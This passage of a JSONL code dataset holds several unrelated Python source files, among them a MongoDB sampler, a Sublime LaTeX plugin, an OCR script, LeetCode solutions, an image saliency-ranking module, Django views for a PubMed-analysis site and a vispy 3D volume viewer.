MongoClient(\"mongodb://localhost:27017\")\ndb = client.flist\ncoll = db.flist\n \n#print(coll.find_one())\n#print(db.version)\n#db.coll.aggregate([{$sample: {size: 1}}])\nwinner = [ d for d in coll.aggregate([{'$sample': {'size': 1 }}])][0]\nprint(winner)\nprint(winner['_id'])\n\n\nnow = datetime.datetime.utcnow()\nprint (now)\n\nid = winner['_id']\ncoll.update_one(\n\t{\"_id\":id},\n\t{\"$set\":{\"twi\":\"x\"},\n\t \"$currentDate\": {\"lastModified\": True}})\n\t\n","sub_path":"mongo-random1.py","file_name":"mongo-random1.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"261107110","text":"import sublime\nimport sublime_plugin\nimport re\n\n\nARROW = re.compile(r\"(?)$\")\n\narrow_map = {\n \"<-\": \"\\\\leftarrow\",\n \"<--\": \"\\\\longleftarrow\",\n \"->\": \"\\\\rightarrow\",\n \"-->\": \"\\\\longrightarrow\",\n \"<->\": \"\\\\leftrightarrow\",\n \"<-->\": \"\\\\longleftrightarrow\",\n \"<=\": \"\\\\Leftarrow\",\n \"<==\": \"\\\\Longleftarrow\",\n \"=>\": \"\\\\Rightarrow\",\n \"==>\": \"\\\\Longrightarrow\",\n \"<=>\": \"\\\\Leftrightarrow\",\n \"<==>\": \"\\\\Longleftrightarrow\"\n}\n\n\nclass LatexyzArrowCompletions(sublime_plugin.EventListener):\n\n general_commands = None\n math_commands = None\n\n def on_query_completions(self, view, prefix, locations):\n if view.settings().get('is_widget'):\n return\n\n if not view.match_selector(locations[0], \"text.tex.latex\"):\n return None\n\n if not prefix:\n # arrow completion\n pt = locations[0]\n arrow = view.substr(sublime.Region(pt - 4, pt))\n m = ARROW.search(arrow)\n if m and (m.group(1) or m.group(3)) and m.group(0) in arrow_map:\n arr = arrow_map[m.group(0)]\n return [(m.group(0), arr)]\n","sub_path":"arrow_complete.py","file_name":"arrow_complete.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"471611161","text":"# \"\"\"\n# Tesseract - OCR 프로그램 중 하나, 다양한 운영체제에서 사용 가능한 엔진, 오픈 소스!\n\n# 1.이미지 -> 텍스트 추출 과정\n# 2. pytesseract에서 Tesseract 사용하기\n\n# \"\"\"\nfrom PIL import Image\nimport pytesseract\n\n# pytesseract에서 실행 파일이 어디 있는지 지정해 주어야함 .\npytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\n# image_to_string 메서드를 이용하여 실제 이미지를 변환하는 작업을 함.\ntext = pytesseract.image_to_string(Image.open('news2.png'), lang='kor')\n# \n# print(text)\n# replace 메서드를 이용해 변환중 생기는 공백을 없애도록함.\nprint(text.replace(' ',''))\n\nwith open('news2.txt', 'w', encoding='utf-8') as f:\n f.write(text)\n f.write('\\n\\n\\n')\n f.write(text.replace(' ', ''))\n ","sub_path":"tesseract_ocr.py","file_name":"tesseract_ocr.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"482088355","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 8 14:35:47 2019\n\n@author: sxw17\n\"\"\"\n\n# 10. Target function for ML \nimport numpy as np \nimport pandas as pd \nimport pickle\n\nimport os \nos.getcwd()\nos.chdir('C:\\\\Users\\\\sxw17\\\\Desktop\\\\python learning\\\\Python for Finance\\\\Python_Programming_for_Finance')\n\n\ndef process_data_for_labels(ticker):\n hm_days=7 \n df= pd.read_csv('sp500_joined_closed.csv', index_col=0)\n tickers=df.columns.values.tolist()\n df.fillna(0, inplace=True)\n \n for i in range(1, hm_days+1):\n print(i)\n \n df['{}_{}d'.format(ticker,i)]=(df[ticker].shift(-i)-df[ticker])/df[ticker]\n \n df.fillna(0, inplace=True)\n \n return tickers,df \n\n\n\n","sub_path":"Stock/Part 1. Data capture, cleaning, structuring, calculation/10. Target function for ML .py","file_name":"10. Target function for ML .py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"356622224","text":"# Runtime: 80 ms\r\n# Memory Usage: 14 MB\r\n# Definition for singly-linked list.\r\n# class ListNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.next = None\r\n\r\nclass Solution:\r\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\r\n re = ListNode(0)\r\n cur = re\r\n tp = 0\r\n while l1 is not None or l2 is not None:\r\n if l1 is not None:\r\n x1 = l1.val\r\n else:\r\n x1 = 0\r\n if l2 is not None:\r\n x2 = l2.val\r\n else:\r\n x2 = 0\r\n x = x1 + x2 + tp\r\n tp = x//10\r\n x = x%10\r\n node = ListNode(x)\r\n cur.next = node\r\n cur = cur.next\r\n if l1 is not None:\r\n l1 = l1.next\r\n if l2 is not None:\r\n l2 = l2.next\r\n if tp > 0:\r\n cur.next = ListNode(tp)\r\n return re.next\r\n\r\n\r\n# Runtime: 84 ms\r\n# Memory Usage: 14.2 MB\r\n# Definition for singly-linked list.\r\n# class ListNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.next = None\r\n\r\nclass Solution:\r\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\r\n n1 = ''\r\n n2 = ''\r\n while l1.next is not None or l2.next is not None:\r\n if l1.next is not None:\r\n n1 += str(l1.val)\r\n l1 = l1.next\r\n if l2.next is not None:\r\n n2 += str(l2.val)\r\n l2 = l2.next\r\n n1 += str(l1.val)\r\n n2 += str(l2.val)\r\n n1 = int(n1[::-1])\r\n n2 = int(n2[::-1])\r\n n = str(n1+n2)\r\n re = []\r\n for i in range(len(n)):\r\n re.insert(0, ListNode(int(n[i])))\r\n if len(re) > 1:\r\n re[0].next = re[1]\r\n return re[0]\r\n","sub_path":"solutions/2_addTwoNumbers.py","file_name":"2_addTwoNumbers.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"187969114","text":"import joblib\nimport numpy as np\nfrom config import pkl_dir\nfrom etl.data_processing import prepare_data_4_prediction\n\n\ndef _load_model(collection, model_name):\n file_dir = pkl_dir + collection + '/'\n pkl_file_name = collection + '_' + model_name + '.pkl'\n pkl_file_name = file_dir + pkl_file_name\n model = joblib.load(pkl_file_name)\n return model\n\n\ndef pred_complained_users(trained_collection_name, X_pred, model_name):\n \"\"\"\n :param X_pred: 预测数据\n :param trained_collection_name: 训练集名称\n :param model_name: 模型名称\n :return:pandas.DataFrame\n \"\"\"\n model = _load_model(collection=trained_collection_name, model_name=model_name)\n X = prepare_data_4_prediction(X_pred)\n y_pred = model.predict(X)\n # indices_complained_users = np.where(y_pred == 1)\n X_pred['labels'] = y_pred\n complained_users = X_pred[(X_pred['labels'] == 1)]\n return complained_users\n","sub_path":"web/backend/src/predict/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"431725768","text":"import itertools\n\nimport cv2\nimport numpy as np\nimport math\nimport operator\n\nimport matcher\nimport pySaliencyMap\nimport saliency_models\n\n# -------------------------------------------------\n# Global Variables\n# -------------------------------------------------\n\nobjectEntropies = []\nindexed_objects = []\n\nGAUSSIAN = True\nMASK = False\nSAL_TYPE = \"itti\"\n\n# -------------------------------------------------\n# Class Names: Class's index in list is its ID.\n# -------------------------------------------------\n\n\nclass_names = ['BG', 'person', 'bicycle', 'car', 'motorcycle', 'airplane',\n 'bus', 'train', 'truck', 'boat', 'traffic light',\n 'fire hydrant', 'stop sign', 'parking meter', 'bench', 'bird',\n 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear',\n 'zebra', 'giraffe', 'backpack', 'umbrella', 'handbag', 'tie',\n 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball',\n 'kite', 'baseball bat', 'baseball glove', 'skateboard',\n 'surfboard', 'tennis racket', 'bottle', 'wine glass', 'cup',\n 'fork', 'knife', 'spoon', 'bowl', 'banana', 'apple',\n 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza',\n 'donut', 'cake', 'chair', 'couch', 'potted plant', 'bed',\n 'dining table', 'toilet', 'tv', 'laptop', 'mouse', 'remote',\n 'keyboard', 'cell phone', 'microwave', 'oven', 'toaster',\n 'sink', 'refrigerator', 'book', 'clock', 'vase', 'scissors',\n 'teddy bear', 'hair drier', 'toothbrush']\n\n\n# -------------------------------------------------\n# SaRa Initial Functions\n# -------------------------------------------------\n\ndef returnIttiSaliency(img):\n imgsize = img.shape\n img_width = imgsize[1]\n img_height = imgsize[0]\n sm = pySaliencyMap.pySaliencyMap(img_width, img_height)\n saliency_map = sm.SMGetSM(img)\n\n # Scale pixel values to 0-255 instead of float (approx 0, hence black image)\n # https://stackoverflow.com/questions/48331211/how-to-use-cv2-imshow-correctly-for-the-float-image-returned-by-cv2-distancet/48333272\n saliency_map = cv2.normalize(saliency_map, None, 255, 0, cv2.NORM_MINMAX, cv2.CV_8UC1)\n\n return saliency_map\n\n\n# -------------------------------------------------\n# Saliency Ranking\n# -------------------------------------------------\n\nsegmentsCoords = []\nsegments = []\n\n\ndef generateSegments(img, seg_count, depth=None):\n segments = []\n segmentCount = seg_count\n index = 0\n\n wInterval = int(img.shape[1] / segmentCount)\n hInterval = int(img.shape[0] / segmentCount)\n\n for i in range(segmentCount):\n for j in range(segmentCount):\n # Note: img[TopRow:BottomRow, FirstColumn:LastColumn]\n tempSegment = img[int(hInterval * i):int(hInterval * (i + 1)), int(wInterval * j):int(wInterval * (j + 1))]\n # cv2.imshow(\"Crop\" + str(i) + str(j), tempSegment)\n # coordTup = (index, x1, y1, x2, y2)\n coordTup = (\n index, int(wInterval * j), int(hInterval * i), int(wInterval * (j + 1)), int(hInterval * (i + 1)))\n segmentsCoords.append(coordTup)\n segments.append(tempSegment)\n index += 1\n\n\ndef calculatePixelFrequency(img):\n flt = img.flatten()\n unique, counts = np.unique(flt, return_counts=True)\n pixelsFrequency = dict(zip(unique, counts))\n\n return pixelsFrequency\n\n\ndef point_in_roi(x, y, object_roi):\n # print(object_roi[0], \"<\", x, \"<\", object_roi[2])\n # print(object_roi[1], \"<\", y, \"<\", object_roi[3])\n return object_roi[0] <= y <= object_roi[2] and object_roi[1] <= x <= object_roi[3]\n\n\ndef show_coords(img, x1, y1, x2, y2, label):\n roi = img[x1:x2, y1:y2]\n # print(\"roi\", roi)\n cv2.imshow(label, roi)\n\n\ndef intersection(a, b, img):\n # print(\"b\", b)\n # print(\"a\", a)\n # show_coords(img, a[0], a[1], a[2], a[3], \"a\")\n # show_coords(img, b[0], b[1], b[2], b[3], \"b\")\n\n x = max(a[0], b[0])\n y = max(a[1], b[1])\n w = min(a[2], b[2]) - x\n h = min(a[3], b[3]) - y\n\n if w < 0 or h < 0: return tuple((0, 0, 0, 0))\n return tuple((x, y, w, h))\n\n\ndef getGaussianWeight(coords, kernel, img):\n gaussian_weights = []\n i = 0\n for seg in kernel:\n\n # print(\"seg\", seg)\n # print(\"coords\", coords)\n # print(\"segmentsCoords\", segmentsCoords)\n\n # seg_coords(index,y1,x1,y2,x2)\n seg_coords = segmentsCoords[i]\n a = (coords[0], coords[1], coords[2], coords[3])\n b = (seg_coords[2], seg_coords[1], seg_coords[4], seg_coords[3])\n ans = intersection(a, b, img)\n\n if ans != (0, 0, 0, 0):\n gaussian_weights.append(float(seg))\n # print(\"Intersection\", ans, \"i:\", i, \"seg:\", seg)\n # else:\n # print(\"Box not in\", i)\n # cv2.waitKey(0)\n i += 1\n return sum(gaussian_weights) / len(gaussian_weights)\n\n\ndef calculateEntropy(img, w, dw):\n flt = img.flatten()\n\n # c = flt.shape[0]\n # totalPixels = 0\n # tprob = 0\n # sumOfProbs = 0\n entropy = 0\n wt = w * 10\n\n # if imgD=None then proceed normally\n # else calculate its frequency and find max\n # use this max value as a weight in entropy\n\n pixelsFrequency = calculatePixelFrequency(flt)\n\n totalPixels = sum(pixelsFrequency.values())\n\n for px in pixelsFrequency:\n tprob = (pixelsFrequency.get(px)) / totalPixels\n # probs[px] = tprob\n entropy += entropy + (tprob * math.log(2, (1 / tprob)))\n\n entropy = entropy * wt * dw\n\n # print(\"Saliency Score:\", entropy, \" Gaussian weight:\", wt)\n return entropy, wt\n\n\n# -------------------------------------------------\n# Product Ranking\n# -------------------------------------------------\n\ndef makeGaussian(size, fwhm=10, center=None):\n # https://gist.github.com/andrewgiessel/4635563\n \"\"\" Make a 2D gaussian kernel.\n size is the length of a side of the square\n fwhm is full-width-half-maximum, which\n can be thought of as an effective radius.\n \"\"\"\n\n x = np.arange(0, size, 1, float)\n y = x[:, np.newaxis]\n\n if center is None:\n x0 = y0 = size // 2\n else:\n x0 = center[0]\n y0 = center[1]\n\n return np.exp(-4 * np.log(2) * ((x - x0) ** 2 + (y - y0) ** 2) / fwhm ** 2)\n\n\n# def findMostSalientObject(objs, kernel, dws):\n\n\ndef rankProductsWithSaliency(objs, kernel, sal_map, img):\n # objs is array of obj (roi, class_id, image mask, sal map mask)\n maxEntropy = 0\n index = 0\n i = 0\n for obj in objs:\n\n coords = obj[0] # Mask\n\n if MASK:\n roi = obj[3][coords[0]:coords[2], coords[1]:coords[3]]\n # cv2.imshow(\"entropy roi\", roi)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n else:\n # coords[0] is x1 or y1??\n roi = sal_map[coords[0]:coords[2], coords[1]:coords[3]]\n\n # print(\"roi\", roi)\n # cv2.imshow(\"roi\", roi)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n\n if np.all((kernel == 0)):\n # calculateEntropy(sal_segment, gaussian weight, depth weight)\n # gaussian weight is 0.1 since it will be multiplied by 10\n entropy, gaussian = calculateEntropy(roi, 0.1, 1)\n else:\n gaussian_weight = getGaussianWeight(coords, kernel, img)\n entropy, gaussian = calculateEntropy(roi, gaussian_weight, 1)\n\n # objectEntropies is list of (index, entropy)\n Tup = (i, entropy, gaussian)\n objectEntropies.append(Tup)\n # objects is list of (index, object)\n indexed_object = (i, obj)\n indexed_objects.append(indexed_object)\n if entropy > maxEntropy:\n maxEntropy = entropy\n index = i\n i += 1\n print(\"_________________________________\")\n return maxEntropy, index\n\n\ndef getClassName(salient_object):\n return class_names[salient_object[1][1]]\n\n\ndef getRoiWithIndex(index, img):\n obj = getObjectWithIndex(index)\n object_coords = obj[1][0]\n return img[object_coords[0]:object_coords[2],\n object_coords[1]: object_coords[3]]\n\n\ndef getObjectWithIndex(index):\n # print('objects', indexed_objects)\n for objct in indexed_objects:\n # objct is index , roi\n if int(objct[0]) == int(index):\n return objct\n\n\ndef getObjectWithRank(rank, img, obj_entropies):\n rank_iter = 0\n for obj in obj_entropies:\n if int(rank) == int(rank_iter):\n return obj[0], getObjectWithIndex(obj[0])\n rank_iter += 1\n\n\ndef duplicateObjects(img):\n for objA, objB in itertools.combinations(indexed_objects, 2):\n if objA[0] != objB[0]:\n index1 = objA[0]\n index2 = objB[0]\n print(\"Comparing index: {} with {} \".format(index1, index2))\n\n roi = objA[1][0]\n roi2 = objB[1][0]\n match1 = img[roi[0]:roi[2], roi[1]:roi[3]]\n match2 = img[roi2[0]:roi2[2], roi2[1]:roi2[3]]\n\n # if matcher.hash_matcher(match1, match2):\n # if matcher.template_matcher(match1, match2):\n if matcher.feature_match(match1, match2):\n print(\"Object Matches: \", getClassName(getObjectWithIndex(objA[0])),\n \" with \", getClassName(getObjectWithIndex(objB[0])))\n\n # print(\"indexed_objects\", indexed_objects)\n # Instead of removing the object (Combine their averaged entropy)\n # indexed_objects.pop(objA[0])\n for obj_ent in objectEntropies:\n if obj_ent[0] == objA[0]:\n objectEntropies.remove(obj_ent)\n # print(\"indexed_objects After pop\", indexed_objects)\n\n # cv2.imshow(\"Object Matches1\", match1)\n # cv2.imshow(\"Object Matches2\", match2)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n print(\"\\n\\n\")\n else:\n print(\"No Match Found\\n\\n\")\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n # print(\"No Match found between\", getClassName(getObjectWithIndex(objA[0])),\n # \" and\", getClassName(getObjectWithIndex(objB[0])))\n\n\ndef show_ranked_objects(rankedObjs, img):\n i = 0\n for ranked_object in rankedObjs:\n if MASK:\n ranked_object_coords = ranked_object[1][1][0]\n ranked_object_img = ranked_object[1][1][2][ranked_object_coords[0]:ranked_object_coords[2],\n ranked_object_coords[1]: ranked_object_coords[3]]\n else:\n ranked_object_coords = ranked_object[1][1][0]\n ranked_object_img = img[ranked_object_coords[0]:ranked_object_coords[2],\n ranked_object_coords[1]: ranked_object_coords[3]]\n\n img_caption = \"Rank {}\".format(i)\n cv2.imshow(img_caption, ranked_object_img)\n i += 1\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n\n\ndef show_ranked_objects_image(rankedObjs, img):\n i = 0\n result_img = img\n for ranked_object in rankedObjs:\n # c is ranked_objs_coords # (img, (x1,y1),(x2,y2))\n c = ranked_object[1][1][0]\n cv2.rectangle(result_img, (c[1], c[0]), (c[3], c[2]), (255, 0, 0), 2)\n cv2.putText(result_img, str(i), (c[1], c[0] - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.9, (255, 0, 0), 2)\n cv2.imshow(\"result_img\", result_img)\n i += 1\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n\n\ndef getImageFromMaskList(image, mask, i):\n img = image\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n for j in range(image.shape[2]):\n img[:, :, j] = img[:, :, j] * mask[:, :, i]\n\n\ndef getMasksImages(image, results):\n onlyObj = []\n i = 0\n mask = results[\"masks\"]\n # print(\"mask.shape\", mask.shape)\n # print(\"img.shape\", image.shape)\n for i in range(mask.shape[2]):\n img = image\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n for j in range(image.shape[2]):\n img[:, :, j] = img[:, :, j] * mask[:, :, i]\n onlyObj.append(img)\n i += 1\n return onlyObj\n\n\ndef generateObjects(img, sal_map, rank_to_show, results):\n gaussian_kernel_array = makeGaussian(9)\n gaussian1d = gaussian_kernel_array.ravel()\n\n masks = getMasksImages(cv2.cvtColor(img, cv2.COLOR_RGB2BGR), results)\n salMasks = getMasksImages(cv2.cvtColor(sal_map, cv2.COLOR_RGB2BGR), results)\n\n # Show Image Masks\n # for mask_img in masks:\n # cv2.imshow(\"Image Mask\", mask_img)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n\n # Get rois and labels\n objs = []\n ids = results['class_ids']\n i = 0\n for r in results['rois']:\n # obj = (roi, call_is, image mask, saliency mask)\n obj = (r, ids[i], masks[i], salMasks[i])\n objs.append(obj)\n i += 1\n\n # Generate Object Saliency Ranking\n if not GAUSSIAN:\n maxObj, indexObj = rankProductsWithSaliency(objs, np.zeros(1), sal_map, img)\n else:\n maxObj, indexObj = rankProductsWithSaliency(objs, gaussian1d, sal_map, img)\n\n # dictObjEntropies = dict(objectEntropies)\n # sortedObjEntropies = sorted(dictObjEntropies.items(), key=operator.itemgetter(1), reverse=True)\n objectEntropies.sort(key=operator.itemgetter(1), reverse=True)\n\n # print(\"\\nChecking for duplicate objects...\\n\")\n # duplicateObjects(img)\n\n if rank_to_show == -1:\n salient_object = getObjectWithIndex(indexObj)\n else:\n indexObj, salient_object = getObjectWithRank(rank_to_show, img, objectEntropies)\n\n salient_object_roi = salient_object[1][0]\n salientObjectImg = img[salient_object_roi[0]:salient_object_roi[2],\n salient_object_roi[1]: salient_object_roi[3]]\n\n # object_class = getClassName(salient_object)\n # print(\"\\n-----------------------------------------\\n\")\n # print(\"The most salient product is \", object_class)\n # cv2.imshow(\"Most Salient\", salientObjectImg)\n\n # Create and return List of final objects\n # (index, obj, entropy, rank) -> obj is (roi, class_id, mask), ranked by entropies\n final_objects = []\n i = 0\n for obj_entropies in objectEntropies:\n final_object = (obj_entropies[0], getObjectWithIndex(obj_entropies[0]), obj_entropies[1], i, obj_entropies[2])\n final_objects.append(final_object)\n i += 1\n\n # show_ranked_objects(final_objects, img)\n show_ranked_objects_image(final_objects, img)\n return final_objects\n\n\ndef computeSaliencyMap(img):\n if SAL_TYPE == \"itti\":\n return returnIttiSaliency(img)\n elif SAL_TYPE == \"sr\":\n return saliency_models.SpectralResidualSaliency(img)\n elif SAL_TYPE == \"bms\":\n return saliency_models.bms(img)\n\n\ndef clear_vars():\n indexed_objects.clear()\n segments.clear()\n segmentsCoords.clear()\n objectEntropies.clear()\n\n\ndef returnObjects(input_img, rank_to_show, results):\n clear_vars()\n generateSegments(input_img, 9)\n\n sal_map = computeSaliencyMap(input_img)\n print(\"\\nComputed Saliency Map\\n\\n\\n\\n\")\n\n rankedObjs = generateObjects(input_img, sal_map, rank_to_show, results)\n return rankedObjs\n","sub_path":"rank_products/SR_sal.py","file_name":"SR_sal.py","file_ext":"py","file_size_in_byte":15171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"405612488","text":"# Time: O(logn)\n# Space: O(1)\n\n# 1281 weekly contest 166 12/7/2019\n\n# Given an integer number n, return the difference between the product of its digits and the sum of its digits.\n\nclass Solution(object):\n def subtractProductAndSum(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n product, total = 1, 0\n while n:\n n, r = divmod(n, 10)\n product *= r\n total += r\n return product-total\n\n\n# Time: O(logn)\n# Space: O(logn)\nimport operator\n\n\nclass Solution2(object):\n def subtractProductAndSum(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n import functools\n A = map(int, str(n))\n return functools.reduce(operator.mul, A) - sum(A)\n\nprint(Solution().subtractProductAndSum(234)) # 15\nprint(Solution().subtractProductAndSum(4421)) # 21\n","sub_path":"Python/subtract-the-product-and-sum-of-digits-of-an-integer.py","file_name":"subtract-the-product-and-sum-of-digits-of-an-integer.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"349725916","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\nimport pandas as pd\nfrom . import search_icd, search_author, cancer_info, lda_model\nimport json\nfrom google.oauth2 import service_account\nfrom django.views.decorators import csrf\n\n\n\n\n\nkey_word_pie = {}\ndef hello(request):\n context = {}\n context['content1'] = 'Hello World!'\n return render(request, 'index.html', context)\n\ndef icd(request):\n return render(request, 'ICD.html')\n\n\n\ndef icd_search(request):\n # icd_result will return file_path, paired_result, CUI\n\n f_result = {'web': '', 'CUI': '', 'return_file': 'no', 'title': 'n', 'pubmed_id': 'n', 'error': 'n'}\n\n if request.POST:\n icd_code = request.POST['q']\n icd_result = search_icd.search_icd(icd_code)\n if icd_result == None:\n f_result['error'] = 'y'\n return render(request, \"ICD.html\", f_result)\n f_result['CUI'] = icd_result['CUI']\n\n if 'http' in icd_result['file_path']:\n f_result['web'] = icd_result['file_path']\n\n else:\n file = pd.read_csv(icd_result['file_path'])\n f_result['title'] = json.dumps(file['title'].tolist())\n f_result['pubmed_id'] = json.dumps(file['pubmed_id'].tolist())\n f_result['return_file'] = 'yes'\n\n return render(request, \"ICD.html\", f_result)\n\n\ndef network(request):\n return render(request, 'authors.html')\n\n\n\ndef auth_search(request):\n context = {'nodes':'no', 'edges':'no', 'error':'false'}\n\n if request.POST:\n search_name = request.POST['network']\n try:\n nodes, edges = search_author.author_relationship(search_name)\n context['nodes'] = json.dumps(nodes)\n context['edges'] = json.dumps(edges)\n\n except:\n context['error'] = 'true'\n\n return render(request, 'authors.html', context)\n\n\n\ndef cancer(request):\n context = {}\n word, journal, literature, keyword_pie = cancer_info.cancer_info()\n context['word']= json.dumps(word)\n context['journal'] = json.dumps(journal)\n context['literature'] = json.dumps(literature)\n ld = lda_model.read_lda_model()\n context['lda'] = json.dumps(ld)\n key_word_pie['key_pie'] = json.dumps(keyword_pie)\n\n return render(request, 'cancer.html', context)\n\n\n\ndef keywords(request):\n return render(request, 'keywords.html', key_word_pie)\n","sub_path":"pubmed/pubmed/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"107979380","text":"from . import instrument_renderer\nfrom skymusic.resources import Resources\nfrom skymusic.parsers.noteparsers import skyjson as skyjson_parser\n\n\nclass SkyjsonInstrumentRenderer(instrument_renderer.InstrumentRenderer):\n \n def __init__(self, locale=None):\n super().__init__(locale)\n self.note_parser = skyjson_parser.SkyJson()\n\n def render_harp(self, instrument, time=0):\n\n json_render = []\n\n if instrument.get_is_broken():\n json_render = [{'time':int(time), 'key':'ERROR'}]\n elif instrument.get_is_silent():\n json_render = [{'time':int(time), 'key':'.'}]\n else:\n \n dt = Resources.SKYJSON_CHORD_DELAY/max([instrument.get_num_highlighted(),5])\n \n for frame in range(instrument.get_frame_count()):\n skygrid = instrument.get_skygrid(frame) \n if skygrid: \n for coord in skygrid: # Cycle over positions in a frame\n if skygrid[coord][frame]: # Button is highlighted\n json_render += [{'time':int(time), 'key':self.note_parser.get_note_from_coordinate(coord)}]\n time = time + dt\n \n return json_render\n\n\n def render_voice(self, *args, **kwargs): \n\n return NotImplemented\n \n","sub_path":"src/skymusic/renderers/instrument_renderers/skyjson_ir.py","file_name":"skyjson_ir.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"630142804","text":"from __future__ import absolute_import, division, print_function\n\nfrom glue.core.state import lookup_class_with_patches\nfrom glue.config import settings\nfrom glue.core import message as msg\n\nfrom qtpy.QtWidgets import QMessageBox\nfrom qtpy.QtCore import QTimer\n\nfrom ..common.vispy_data_viewer import BaseVispyViewer\nfrom .layer_artist import VolumeLayerArtist\nfrom .layer_style_widget import VolumeLayerStyleWidget\nfrom .viewer_state import Vispy3DVolumeViewerState\n\n\nfrom ..scatter.layer_artist import ScatterLayerArtist\nfrom ..scatter.layer_style_widget import ScatterLayerStyleWidget\n\nfrom ..common import tools # noqa\nfrom ..common import selection_tools # noqa\nfrom . import volume_toolbar # noqa\n\ntry:\n import OpenGL # flake8: noqa\nexcept ImportError:\n OPENGL_INSTALLED = False\nelse:\n OPENGL_INSTALLED = True\n\n\nclass VispyVolumeViewer(BaseVispyViewer):\n\n LABEL = \"3D Volume Rendering\"\n\n _state_cls = Vispy3DVolumeViewerState\n _layer_style_widget_cls = {VolumeLayerArtist: VolumeLayerStyleWidget,\n ScatterLayerArtist: ScatterLayerStyleWidget}\n\n tools = BaseVispyViewer.tools + ['vispy:lasso', 'vispy:rectangle',\n 'vispy:circle', 'volume3d:point']\n\n def __init__(self, *args, **kwargs):\n super(VispyVolumeViewer, self).__init__(*args, **kwargs)\n if not OPENGL_INSTALLED:\n self.close()\n QMessageBox.critical(self, \"Error\",\n \"The PyOpenGL package is required for the \"\n \"3D volume rendering viewer\",\n buttons=QMessageBox.Ok)\n\n # We now make it so that is the user clicks to drag or uses the\n # mouse wheel (or scroll on a trackpad), we downsample the volume\n # rendering temporarily.\n\n self._vispy_widget.canvas.events.mouse_press.connect(self.mouse_press)\n self._vispy_widget.canvas.events.mouse_wheel.connect(self.mouse_wheel)\n self._vispy_widget.canvas.events.mouse_release.connect(self.mouse_release)\n\n self._downsampled = False\n\n # For the mouse wheel, we receive discrete events so we need to have\n # a buffer (for now 250ms) before which we consider the mouse wheel\n # event to have stopped.\n\n self._downsample_timer = QTimer()\n self._downsample_timer.setInterval(250)\n self._downsample_timer.setSingleShot(True)\n self._downsample_timer.timeout.connect(self.mouse_release)\n\n def mouse_press(self, event=None):\n if self.state.downsample:\n if hasattr(self._vispy_widget, '_multivol') and not self._downsampled:\n self._vispy_widget._multivol.downsample()\n self._downsampled = True\n\n def mouse_release(self, event=None):\n if self.state.downsample:\n if hasattr(self._vispy_widget, '_multivol') and self._downsampled:\n self._vispy_widget._multivol.upsample()\n self._downsampled = False\n self._vispy_widget.canvas.render()\n\n def mouse_wheel(self, event=None):\n if self.state.downsample:\n if hasattr(self._vispy_widget, '_multivol'):\n if not self._downsampled:\n self.mouse_press()\n self._downsample_timer.start()\n\n def resizeEvent(self, event=None):\n self.mouse_wheel()\n super(VispyVolumeViewer, self).resizeEvent(event)\n\n def add_data(self, data):\n\n if data in self._layer_artist_container:\n return True\n\n if data.ndim == 1:\n\n if len(self._layer_artist_container) == 0:\n QMessageBox.critical(self, \"Error\",\n \"Can only add a scatter plot overlay once a volume is present\".format(data.ndim),\n buttons=QMessageBox.Ok)\n\n # Assume that the user wants a scatter plot overlay\n\n layer_artist = ScatterLayerArtist(layer=data, vispy_viewer=self)\n self._vispy_widget._update_limits()\n\n elif data.ndim == 3:\n\n if len(self._layer_artist_container) > 0:\n required_shape = self._layer_artist_container[0].shape\n if data.shape != required_shape:\n QMessageBox.critical(self, \"Error\",\n \"Shape of dataset ({0}) does not agree \"\n \"with shape of existing datasets in volume \"\n \"rendering ({1})\".format(data.shape, required_shape),\n buttons=QMessageBox.Ok)\n return False\n\n layer_artist = VolumeLayerArtist(layer=data, vispy_viewer=self)\n\n else:\n\n QMessageBox.critical(self, \"Error\",\n \"Data should be 1- or 3-dimensional ({0} dimensions found)\".format(data.ndim),\n buttons=QMessageBox.Ok)\n return False\n\n if len(self._layer_artist_container) == 0:\n self.state.set_limits(*layer_artist.bbox)\n\n self._layer_artist_container.append(layer_artist)\n\n for subset in 